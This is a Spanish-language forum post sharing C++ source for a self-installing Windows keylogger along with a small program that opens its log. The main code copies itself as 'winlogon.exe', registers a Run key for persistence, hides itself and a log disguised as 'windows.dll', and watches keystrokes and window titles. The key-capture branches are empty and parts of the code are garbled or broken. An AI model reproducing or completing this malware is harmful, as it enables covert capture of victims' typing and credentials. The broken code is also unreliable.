vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.
perdon el desorden
.
aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE PARA WINDOWS VISTA O POSTERIOR descomentar nunca probe esta parte del code talves se necesiten ligeras modificaciones adicionales/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/
#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>
using namespace std;
int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal
= getenv ( "HOMEPATH" );discolocal
= getenv ( "SystemDrive" );strcpy ( archivo
,discolocal
); //se crea el archivo log
ofstream logos;
char winlog [70];
strcat ( winlog
, "\\windows.dll" ); logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo
, "\\winlogon.exe" ); // se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();
// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
log.
open ( "windows.dll", ios
::out | ios
::app ); while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
}
if(GetAsyncKeyState(9) == -32767)
{
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana
, venta2
) != 0 ) {
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso
if ( strcmp ( ventana
,key
)== 0 ) {
return 0;
}
//calcular la fecha
time_t tiempo
= time (0);char output[128];
strftime ( output
, 128, "%d/%m/%y %H:%M:%S", tlocal
); //--------------------
log << endl
<< "-------------------------" << endl
; log << "fecha:" << output
<< endl
; log << endl
<< "ventana:"<< venta2
<< endl
; }
}
return 0;
}
leer logs.cpp
#include <iostream>
#include <cstring>
#include <windows.h>
using namespace std;
int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}